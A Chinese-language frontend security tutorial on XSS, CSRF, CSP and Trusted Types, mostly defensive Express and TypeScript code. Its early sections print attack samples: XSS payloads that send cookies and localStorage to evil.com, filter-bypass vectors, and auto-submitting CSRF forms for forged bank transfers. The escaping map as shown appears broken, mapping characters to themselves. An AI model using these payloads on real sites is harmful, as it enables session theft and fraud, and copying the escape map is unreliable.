前端安全深入:XSS、CSRF 与 CSP 的攻防实战
前言
前端安全不是可选项,而是必修课。每年 OWASP Top 10 中,注入攻击(包括 XSS)和跨站请求伪造(CSRF)始终占据前列。然而很多前端开发者对安全的理解仅停留在「用 textContent 替代 innerHTML」的层面,缺乏系统性的认知。
本文将从攻击原理出发,深入到防御方案的实现细节,涵盖 XSS 的各种变种、CSRF 的攻防博弈、Content-Security-Policy 的精细配置、Trusted Types API 以及 SameSite Cookie 策略,帮助你构建真正安全的前端应用。
一、XSS(跨站脚本攻击)
1.1 XSS 的三种类型
反射型 XSS(Reflected XSS)
攻击载荷通过 URL 参数传入,服务端未经处理直接返回到页面中:
攻击 URL:https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
服务端代码(存在漏洞):app.get('/search', (req, res) => { // ❌ 直接将用户输入插入 HTML res.send(`<h1>搜索结果: ${req.query.q}</h1>`);});存储型 XSS(Stored XSS)
攻击载荷被存储在数据库中,每次其他用户访问时都会执行:
// 攻击者在评论中提交:const maliciousComment = ` Great article! <img src="x" onerror=" fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: JSON.stringify(localStorage), url: location.href }) }) ">`;
// 如果服务端和前端都未做过滤,这段代码会在所有查看评论的用户浏览器中执行DOM 型 XSS(DOM-based XSS)
攻击完全发生在前端,服务端无感知:
// 存在漏洞的代码const params = new URLSearchParams(location.search);const name = params.get('name');
// ❌ 危险:直接将 URL 参数插入 DOMdocument.getElementById('greeting').innerHTML = `Hello, ${name}!`;
// 攻击 URL:// https://example.com/?name=<img src=x onerror=alert(document.cookie)>1.2 高级 XSS 攻击手法
绕过简单过滤的技巧:
<!-- 大小写绕过 --><ScRiPt>alert(1)</ScRiPt>
<!-- 事件处理器 --><img src=x onerror=alert(1)><svg onload=alert(1)><body onpageshow=alert(1)><input onfocus=alert(1) autofocus><marquee onstart=alert(1)>
<!-- 编码绕过 --><a href="javascript:alert(1)">click</a><a href="javascript:alert(1)">click</a>
<!-- CSS 注入(较老的浏览器) --><div style="background:url('javascript:alert(1)')">
<!-- SVG 注入 --><svg><script>alert(1)</script></svg>
<!-- 模板字面量注入(如果用了模板引擎) -->{{constructor.constructor('alert(1)')()}}利用 DOM Clobbering 的攻击:
<!-- 攻击者注入的 HTML(假设允许部分 HTML 标签) --><form id="document"><input name="cookie" value="fake"></form>
<!-- 此时 document.cookie 会返回 DOM 元素而不是真正的 cookie --><!-- 如果代码中有基于 document.cookie 的逻辑判断,就可能被绕过 -->1.3 XSS 防御方案
输出编码(最基础也最重要):
// utils/xss.ts - 针对不同上下文的编码函数
// HTML 上下文编码export function escapeHTML(str: string): string { const map: Record<string, string> = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '/': '/', }; return str.replace(/[&<>"'/]/g, (char) => map[char]);}
// HTML 属性上下文编码export function escapeAttribute(str: string): string { return str.replace(/[^a-zA-Z0-9,.\-_]/g, (char) => { const hex = char.charCodeAt(0).toString(16); return `&#x${hex.padStart(2, '0')};`; });}
// JavaScript 字符串上下文编码export function escapeJS(str: string): string { return str.replace(/[^a-zA-Z0-9,._]/g, (char) => { const hex = char.charCodeAt(0).toString(16); return `\\u${hex.padStart(4, '0')}`; });}
// URL 参数编码export function escapeURL(str: string): string { return encodeURIComponent(str);}// 使用示例
// ❌ 危险element.innerHTML = `<a href="${userUrl}">${userName}</a>`;
// ✅ 安全element.innerHTML = `<a href="${escapeAttribute(userUrl)}">${escapeHTML(userName)}</a>`;
// ✅ 更安全:使用 DOM API 而不是 innerHTMLconst link = document.createElement('a');link.href = userUrl; // 浏览器会自动处理 URLlink.textContent = userName; // textContent 不解析 HTMLelement.appendChild(link);DOMPurify - 富文本内容消毒:
import DOMPurify from 'dompurify';
// 基础使用const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// 自定义配置const cleanHTML = DOMPurify.sanitize(dirtyHTML, { // 允许的标签 ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre'], // 允许的属性 ALLOWED_ATTR: ['href', 'class', 'target'], // 禁止 javascript: 协议 ALLOW_UNKNOWN_PROTOCOLS: false, // 允许的 URI 协议 ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,});
// 添加钩子进行额外处理DOMPurify.addHook('afterSanitizeAttributes', (node) => { // 所有链接在新窗口打开并添加 noopener if (node.tagName === 'A') { node.setAttribute('target', '_blank'); node.setAttribute('rel', 'noopener noreferrer'); }});
// Vue 中使用// ❌ 危险// <div v-html="userContent"></div>
// ✅ 安全// <div v-html="sanitize(userContent)"></div>import DOMPurify from 'dompurify';
export function useSanitize() { const sanitize = (dirty: string, options?: DOMPurify.Config): string => { return DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'], ALLOWED_ATTR: ['href', 'class'], ...options, }); };
return { sanitize };}二、CSRF(跨站请求伪造)
2.1 攻击原理
CSRF 利用的是浏览器自动携带 Cookie 的特性。当用户已登录 A 站时,访问恶意的 B 站,B 站可以伪造向 A 站的请求:
<!-- 恶意页面 evil.com/attack.html -->
<!-- 方法 1: 图片标签(GET 请求) --><img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- 方法 2: 自动提交的表单(POST 请求) --><form id="csrf-form" action="https://bank.com/transfer" method="POST" style="display:none"> <input name="to" value="attacker" /> <input name="amount" value="10000" /></form><script>document.getElementById('csrf-form').submit();</script>
<!-- 方法 3: fetch 请求(需要满足 CORS 条件) --><script>fetch('https://bank.com/api/transfer', { method: 'POST', credentials: 'include', // 携带 cookie headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'to=attacker&amount=10000'});</script>攻击流程:1. 用户登录 bank.com,浏览器存储了 session cookie2. 用户访问 evil.com(被诱导点击链接)3. evil.com 的页面自动向 bank.com 发起请求4. 浏览器自动携带 bank.com 的 cookie5. bank.com 服务器认为是合法用户操作,执行转账2.2 CSRF 防御方案
方案一:CSRF Token
// 服务端 - Express 中间件import crypto from 'crypto';
// 生成 CSRF Tokenfunction generateCSRFToken(): string { return crypto.randomBytes(32).toString('hex');}
// 中间件:为每个会话生成 tokenapp.use((req, res, next) => { if (!req.session.csrfToken) { req.session.csrfToken = generateCSRFToken(); } // 通过 cookie 传递 token(httpOnly: false,前端需要读取) res.cookie('XSRF-TOKEN', req.session.csrfToken, { httpOnly: false, // 允许 JavaScript 读取 secure: true, sameSite: 'strict', }); next();});
// 验证中间件function verifyCSRF(req, res, next) { const token = req.headers['x-xsrf-token'] || req.body._csrf; if (!token || token !== req.session.csrfToken) { return res.status(403).json({ error: 'Invalid CSRF token' }); } next();}
// 应用到需要保护的路由app.post('/api/transfer', verifyCSRF, (req, res) => { // 处理转账逻辑});// 前端 - Axios 拦截器自动携带 CSRF Tokenimport axios from 'axios';
const api = axios.create({ baseURL: '/api', withCredentials: true,});
// 从 cookie 中读取 CSRF token 并添加到请求头api.interceptors.request.use((config) => { const token = document.cookie .split('; ') .find(row => row.startsWith('XSRF-TOKEN=')) ?.split('=')[1];
if (token) { config.headers['X-XSRF-TOKEN'] = decodeURIComponent(token); } return config;});
// 使用await api.post('/transfer', { to: 'friend', amount: 100 });方案二:SameSite Cookie(现代浏览器首选)
// 服务端设置 Cookieapp.use(session({ cookie: { httpOnly: true, // 禁止 JS 访问 secure: true, // 仅 HTTPS sameSite: 'lax', // 关键! maxAge: 24 * 60 * 60 * 1000, domain: '.example.com', },}));SameSite 的三个值:
Strict: 完全禁止第三方携带 Cookie ✅ 安全性最高 ❌ 从外部链接点进来也不带 Cookie(用户体验差)
Lax: 导航到目标网站的 GET 请求携带,其他不携带 ✅ 平衡安全性和用户体验 ✅ 大部分 CSRF 攻击被阻止(POST 不携带 Cookie) ❌ GET 请求如果有副作用仍然有风险
None: 不限制(必须配合 Secure) ❌ 等于没有保护 只在确实需要跨站发送 Cookie 时使用// 最佳实践:组合使用
// 会话 Cookie: SameSite=Lax(兼顾安全和体验)res.cookie('session', sessionId, { httpOnly: true, secure: true, sameSite: 'lax',});
// 敏感操作 Cookie: SameSite=Strictres.cookie('csrf_token', token, { httpOnly: false, secure: true, sameSite: 'strict',});方案三:Double Submit Cookie
// 服务端app.use((req, res, next) => { if (!req.cookies['csrf-double']) { const token = crypto.randomBytes(32).toString('hex'); res.cookie('csrf-double', token, { httpOnly: false, secure: true, sameSite: 'lax', }); } next();});
// 验证:cookie 中的值必须与请求头中的值匹配function verifyDoubleSubmit(req, res, next) { const cookieToken = req.cookies['csrf-double']; const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) { return res.status(403).json({ error: 'CSRF validation failed' }); } next();}原理:攻击者可以让浏览器发送 Cookie,但无法读取另一个域的 Cookie 值。所以攻击者无法在请求头中放入正确的 token。
2.3 前端请求封装
// lib/http.ts - 安全的 HTTP 客户端class SecureHTTPClient { private baseURL: string;
constructor(baseURL: string) { this.baseURL = baseURL; }
private getCSRFToken(): string | null { // 从 meta 标签获取(SSR 渲染时注入) const meta = document.querySelector('meta[name="csrf-token"]'); if (meta) return meta.getAttribute('content');
// 从 cookie 获取 const match = document.cookie.match(/XSRF-TOKEN=([^;]+)/); return match ? decodeURIComponent(match[1]) : null; }
private async request<T>( method: string, path: string, data?: unknown, options: RequestInit = {} ): Promise<T> { const url = `${this.baseURL}${path}`; const headers: Record<string, string> = { 'Content-Type': 'application/json', };
// 非 GET 请求添加 CSRF token if (method !== 'GET') { const csrfToken = this.getCSRFToken(); if (csrfToken) { headers['X-XSRF-TOKEN'] = csrfToken; } }
const response = await fetch(url, { method, headers: { ...headers, ...options.headers as Record<string, string> }, body: data ? JSON.stringify(data) : undefined, credentials: 'same-origin', // 同源才带 cookie ...options, });
if (response.status === 403) { // CSRF token 可能过期,尝试刷新 await this.refreshCSRFToken(); // 重试一次 return this.request(method, path, data, options); }
if (!response.ok) { throw new Error(`HTTP ${response.status}: ${response.statusText}`); }
return response.json(); }
private async refreshCSRFToken(): Promise<void> { await fetch(`${this.baseURL}/api/csrf-token`, { credentials: 'same-origin', }); }
get<T>(path: string) { return this.request<T>('GET', path); } post<T>(path: string, data: unknown) { return this.request<T>('POST', path, data); } put<T>(path: string, data: unknown) { return this.request<T>('PUT', path, data); } delete<T>(path: string) { return this.request<T>('DELETE', path); }}
export const http = new SecureHTTPClient('');三、Content-Security-Policy(CSP)
3.1 CSP 是什么
CSP 是一个 HTTP 响应头,告诉浏览器只允许加载和执行来自指定来源的资源。它是防御 XSS 的最强后盾——即使攻击者成功注入了恶意脚本,CSP 也能阻止其执行。
3.2 CSP 指令详解
Content-Security-Policy: default-src 'self'; # 默认只允许同源 script-src 'self' 'nonce-abc123' https://cdn.example.com; # JS 来源 style-src 'self' 'unsafe-inline'; # CSS 来源(允许内联样式) img-src 'self' data: https:; # 图片来源 font-src 'self' https://fonts.googleapis.com; # 字体来源 connect-src 'self' https://api.example.com; # XHR/fetch 目标 frame-src 'none'; # 禁止 iframe object-src 'none'; # 禁止 Flash 等插件 base-uri 'self'; # 限制 <base> 标签 form-action 'self'; # 表单提交目标 frame-ancestors 'none'; # 禁止被嵌入 iframe upgrade-insecure-requests; # 自动升级 HTTP → HTTPS report-uri /api/csp-report; # 违规上报地址3.3 Nonce 模式(推荐)
Nonce 是每次请求生成的随机字符串,只有携带正确 nonce 的脚本才能执行:
// 服务端中间件import crypto from 'crypto';
app.use((req, res, next) => { // 每次请求生成新的 nonce const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce;
// 设置 CSP 头 res.setHeader('Content-Security-Policy', [ `default-src 'self'`, `script-src 'self' 'nonce-${nonce}'`, `style-src 'self' 'nonce-${nonce}'`, `img-src 'self' data: https:`, `connect-src 'self' https://api.example.com`, `font-src 'self'`, `object-src 'none'`, `base-uri 'self'`, `form-action 'self'`, `frame-ancestors 'none'`, ].join('; '));
next();});<!-- HTML 模板中使用 nonce --><!DOCTYPE html><html><head> <!-- ✅ 有 nonce,允许执行 --> <script nonce="<%= nonce %>" src="/js/app.js"></script> <link nonce="<%= nonce %>" rel="stylesheet" href="/css/app.css">
<!-- ✅ 内联脚本也需要 nonce --> <script nonce="<%= nonce %>"> window.__CONFIG__ = { apiUrl: 'https://api.example.com' }; </script></head><body> <!-- ❌ 没有 nonce 的脚本会被阻止 --> <!-- <script>alert('blocked!')</script> -->
<!-- ❌ 事件处理器中的内联脚本也会被阻止 --> <!-- <button onclick="doSomething()">Click</button> --></body></html>3.4 Strict CSP 配置模板
// 针对现代 SPA 的严格 CSP 配置function getStrictCSP(nonce: string): string { return [ // 基础限制 "default-src 'self'",
// 脚本:只允许 nonce 匹配的 + strict-dynamic(允许被信任的脚本加载其他脚本) `script-src 'nonce-${nonce}' 'strict-dynamic'`,
// 样式:nonce 或 同源 `style-src 'self' 'nonce-${nonce}'`,
// 图片:同源 + data URI + HTTPS "img-src 'self' data: https:",
// API 请求 "connect-src 'self' https://api.example.com wss://ws.example.com",
// 字体 "font-src 'self'",
// 禁止插件 "object-src 'none'",
// 限制 base 标签(防止 base URI 劫持) "base-uri 'self'",
// 表单只能提交到同源 "form-action 'self'",
// 禁止被其他页面嵌入 "frame-ancestors 'none'",
// 自动升级 HTTP 请求 "upgrade-insecure-requests", ].join('; ');}3.5 CSP 违规上报
// 服务端:接收 CSP 违规报告app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => { const report = req.body['csp-report'];
console.warn('CSP Violation:', { blockedUri: report['blocked-uri'], violatedDirective: report['violated-directive'], originalPolicy: report['original-policy'], documentUri: report['document-uri'], sourceFile: report['source-file'], lineNumber: report['line-number'], });
// 存储到日志系统 // logger.warn('csp-violation', report);
res.status(204).end();});// 使用 Report-Only 模式先观察再强制执行// 这个头不会阻止任何东西,只会上报违规app.use((req, res, next) => { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce;
// 先用 Report-Only 观察 res.setHeader('Content-Security-Policy-Report-Only', [ `default-src 'self'`, `script-src 'nonce-${nonce}' 'strict-dynamic'`, `report-uri /api/csp-report`, ].join('; '));
next();});
// 观察一段时间,确认没有误报后,切换为强制模式:// Content-Security-Policy-Report-Only → Content-Security-Policy四、Trusted Types
4.1 什么是 Trusted Types
Trusted Types 是一个浏览器 API,它从根本上防止 DOM XSS——禁止将原始字符串传入危险的 DOM API(如 innerHTML、document.write),只允许经过「信任策略」处理后的对象。
4.2 配置和使用
// 通过 CSP 头启用 Trusted Types// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy default
// 创建信任策略if (window.trustedTypes) { const sanitizePolicy = trustedTypes.createPolicy('myPolicy', { // 处理 HTML createHTML(input: string): string { // 使用 DOMPurify 消毒 return DOMPurify.sanitize(input, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'], ALLOWED_ATTR: ['href', 'class'], }); },
// 处理脚本 URL createScriptURL(input: string): string { const url = new URL(input, location.origin); // 只允许同源和 CDN 的脚本 const allowedHosts = [location.hostname, 'cdn.example.com']; if (!allowedHosts.includes(url.hostname)) { throw new TypeError(`Untrusted script URL: ${input}`); } return input; },
// 处理脚本内容 createScript(input: string): string { // 通常不允许动态创建脚本 throw new TypeError('Dynamic script creation is not allowed'); }, });
// 使用 const userContent = '<p>Hello</p><script>alert(1)</script>';
// ❌ 没有 Trusted Types 策略会抛出错误 // element.innerHTML = userContent;
// ✅ 通过策略处理 element.innerHTML = sanitizePolicy.createHTML(userContent); // 结果: <p>Hello</p>(script 标签被移除)}4.3 Default Policy(兜底策略)
// 创建 default 策略作为兜底// 当代码试图使用原始字符串时,会自动通过 default 策略处理if (window.trustedTypes) { trustedTypes.createPolicy('default', { createHTML(input: string): string { console.warn('Untrusted HTML assignment detected:', input.substring(0, 100)); // 在开发环境中可以允许(方便调试) if (import.meta.env.DEV) { return DOMPurify.sanitize(input); } // 生产环境中严格处理 return DOMPurify.sanitize(input, { ALLOWED_TAGS: [], // 去除所有标签 }); }, createScriptURL(input: string): string { console.warn('Untrusted script URL detected:', input); throw new TypeError(`Blocked untrusted script URL: ${input}`); }, createScript(input: string): string { console.warn('Untrusted script creation detected'); throw new TypeError('Blocked untrusted script creation'); }, });}4.4 与框架集成
// Vue 3 中使用 Trusted Types// vue.config 或 vite.configexport default defineConfig({ plugins: [ vue({ template: { compilerOptions: { // Vue 的 v-html 指令会触发 innerHTML 赋值 // 需要在 Trusted Types 策略中处理 }, }, }), ],});
// 自定义 v-safe-html 指令const trustedPolicy = window.trustedTypes?.createPolicy('vue-safe-html', { createHTML: (input: string) => DOMPurify.sanitize(input),});
const vSafeHtml = { mounted(el: HTMLElement, binding: { value: string }) { if (trustedPolicy) { el.innerHTML = trustedPolicy.createHTML(binding.value) as unknown as string; } else { el.innerHTML = DOMPurify.sanitize(binding.value); } }, updated(el: HTMLElement, binding: { value: string }) { if (trustedPolicy) { el.innerHTML = trustedPolicy.createHTML(binding.value) as unknown as string; } else { el.innerHTML = DOMPurify.sanitize(binding.value); } },};
// 注册指令app.directive('safe-html', vSafeHtml);
// 使用// <div v-safe-html="userContent"></div>五、综合安全方案
5.1 安全 HTTP 头配置
export function securityHeaders(nonce: string) { return { // CSP 'Content-Security-Policy': getStrictCSP(nonce),
// 防止 MIME 类型嗅探 'X-Content-Type-Options': 'nosniff',
// 防止点击劫持 'X-Frame-Options': 'DENY',
// 控制 Referrer 信息泄露 'Referrer-Policy': 'strict-origin-when-cross-origin',
// 启用浏览器安全特性 'Permissions-Policy': [ 'camera=()', // 禁止访问摄像头 'microphone=()', // 禁止访问麦克风 'geolocation=(self)', // 只允许同源获取地理位置 'payment=(self)', // 只允许同源支付 ].join(', '),
// HSTS - 强制 HTTPS 'Strict-Transport-Security': 'max-age=63072000; includeSubDomains; preload',
// 跨域隔离(需要时启用) // 'Cross-Origin-Opener-Policy': 'same-origin', // 'Cross-Origin-Embedder-Policy': 'require-corp', };}// Nginx 配置// nginx.conf/*server { # 安全头 add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "DENY" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self)" always;
# CSP 需要在应用层设置(因为 nonce 每次不同)}*/5.2 前端安全检查清单
// 在 CI 中运行的安全检查脚本
interface SecurityCheck { name: string; check: () => boolean | Promise<boolean>; severity: 'critical' | 'high' | 'medium' | 'low';}
const checks: SecurityCheck[] = [ { name: 'No innerHTML usage without sanitization', severity: 'critical', check: async () => { const { execSync } = await import('child_process'); // 搜索直接使用 innerHTML 的代码(排除测试文件和 node_modules) try { const result = execSync( `grep -rn "\\.innerHTML\\s*=" src/ --include="*.ts" --include="*.vue" | grep -v "test\\." | grep -v "spec\\." | grep -v "DOMPurify\\|sanitize\\|trustedTypes"`, { encoding: 'utf-8' } ); if (result.trim()) { console.error('Found unsafe innerHTML usage:\n', result); return false; } } catch { // grep 没找到匹配项时返回非零退出码 } return true; }, }, { name: 'No eval() usage', severity: 'critical', check: async () => { const { execSync } = await import('child_process'); try { const result = execSync( `grep -rn "\\beval\\s*(" src/ --include="*.ts" --include="*.js" | grep -v "test\\." | grep -v "spec\\."`, { encoding: 'utf-8' } ); if (result.trim()) { console.error('Found eval() usage:\n', result); return false; } } catch { // 没有找到 } return true; }, }, { name: 'No document.write usage', severity: 'high', check: async () => { const { execSync } = await import('child_process'); try { const result = execSync( `grep -rn "document\\.write" src/ --include="*.ts" --include="*.js"`, { encoding: 'utf-8' } ); if (result.trim()) { console.error('Found document.write usage:\n', result); return false; } } catch { // 没有找到 } return true; }, }, { name: 'All cookies have Secure and SameSite attributes', severity: 'high', check: async () => { const { execSync } = await import('child_process'); try { const result = execSync( `grep -rn "res\\.cookie\\|setCookie" src/ server/ --include="*.ts" --include="*.js"`, { encoding: 'utf-8' } ); const lines = result.trim().split('\n'); for (const line of lines) { if (!line.includes('secure') || !line.includes('sameSite')) { console.error('Cookie without secure/sameSite:', line); return false; } } } catch { // 没有找到 } return true; }, },];
async function runSecurityAudit() { console.log('🔒 Running security audit...\n'); let passed = 0; let failed = 0;
for (const check of checks) { const result = await check.check(); if (result) { console.log(` ✅ [${check.severity}] ${check.name}`); passed++; } else { console.log(` ❌ [${check.severity}] ${check.name}`); failed++; } }
console.log(`\n📊 Results: ${passed} passed, ${failed} failed`);
if (failed > 0) { process.exit(1); }}
runSecurityAudit();总结
前端安全是一个纵深防御的体系,单一手段不足以抵御所有攻击。以下是关键防线的总结:
| 防御层 | 技术手段 | 防御目标 |
|---|---|---|
| 输入处理 | 编码/转义/消毒 | XSS |
| Cookie 策略 | SameSite/HttpOnly/Secure | CSRF + Cookie 窃取 |
| CSP | script-src + nonce | XSS(即使注入也无法执行) |
| Trusted Types | 信任策略 | DOM XSS |
| HTTP 头 | X-Frame-Options 等 | 点击劫持/MIME 嗅探 |
| CSRF Token | Double Submit / Sync Token | CSRF |
| 代码审计 | 自动化检查 + Code Review | 所有类型 |
安全不是一次性工作,而是持续的过程。 定期审计、保持依赖更新、关注安全公告,才能在攻防博弈中保持主动。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!